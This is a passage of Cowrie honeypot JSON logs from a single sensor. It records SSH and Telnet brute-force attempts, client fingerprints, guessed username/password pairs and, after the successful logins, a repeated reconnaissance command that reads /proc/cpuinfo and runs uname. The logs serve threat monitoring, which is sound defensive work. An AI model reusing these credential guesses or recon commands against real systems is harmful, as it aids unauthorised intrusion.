S":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.416105Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2021","message":"login attempt [admin/admin2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.426958Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.466319Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.468783Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.473001Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.484286Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.489561Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":48172,"dst_ip":"10.17.0.5","dst_port":22,"session":"9afb706061ac","protocol":"ssh","message":"New connection: 74.91.224.229:48172 (10.17.0.5:22) [session: 9afb706061ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:37.105791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:37.111840Z","src_ip":"74.91.224.229","session":"9afb706061ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:37.351204Z","src_ip":"74.91.224.229","session":"9afb706061ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:38.337483Z","src_ip":"74.91.224.229","session":"9afb706061ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:39.579759Z","src_ip":"74.91.224.229","session":"9afb706061ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":44758,"dst_ip":"10.17.0.5","dst_port":22,"session":"0023a2deeb9a","protocol":"ssh","message":"New connection: 74.91.200.154:44758 (10.17.0.5:22) [session: 0023a2deeb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:49.331098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:49.335706Z","src_ip":"74.91.200.154","session":"0023a2deeb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:49.564367Z","src_ip":"74.91.200.154","session":"0023a2deeb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu@123","message":"login attempt [Ubuntu/ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:50.489897Z","src_ip":"74.91.200.154","session":"0023a2deeb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:51.718921Z","src_ip":"74.91.200.154","session":"0023a2deeb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fb33bb75fde","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 1fb33bb75fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:05.566358Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:05.676893Z","src_ip":"77.90.185.16","session":"1fb33bb75fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54718,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a0884bcbad9","protocol":"ssh","message":"New connection: 159.203.92.129:54718 (159.203.135.109:22) [session: 6a0884bcbad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.040687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.045494Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.051275Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2022","message":"login attempt [admin/admin2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.065260Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.110119Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.113741Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.118937Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.130649Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:14.137028Z","src_ip":"159.203.92.129","session":"6a0884bcbad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49696,"dst_ip":"10.17.0.5","dst_port":23,"session":"85b9cc6a2528","protocol":"telnet","message":"New connection: 49.88.156.34:49696 (10.17.0.5:23) [session: 85b9cc6a2528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:27.489590Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"be12500d5b6a","protocol":"ssh","message":"New connection: 74.91.224.229:33176 (10.17.0.5:22) [session: be12500d5b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:34.612928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:34.617652Z","src_ip":"74.91.224.229","session":"be12500d5b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:34.856700Z","src_ip":"74.91.224.229","session":"be12500d5b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password.1","message":"login attempt [ubuntu/Password.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:35.847229Z","src_ip":"74.91.224.229","session":"be12500d5b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:37.090201Z","src_ip":"74.91.224.229","session":"be12500d5b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":37578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8705c1683ac","protocol":"ssh","message":"New connection: 74.91.200.154:37578 (10.17.0.5:22) [session: d8705c1683ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:53.448910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:53.453792Z","src_ip":"74.91.200.154","session":"d8705c1683ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:53.671086Z","src_ip":"74.91.200.154","session":"d8705c1683ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"test","message":"login attempt [1234/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:54.550582Z","src_ip":"74.91.200.154","session":"d8705c1683ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:55.766717Z","src_ip":"74.91.200.154","session":"d8705c1683ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38542,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f492259d80","protocol":"ssh","message":"New connection: 159.203.92.129:38542 (159.203.135.109:22) [session: c1f492259d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.777253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.782162Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.786842Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2023","message":"login attempt [admin/admin2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.799958Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.848070Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.851401Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.855745Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.866252Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:13:56.873097Z","src_ip":"159.203.92.129","session":"c1f492259d80","protocol":"ssh"}
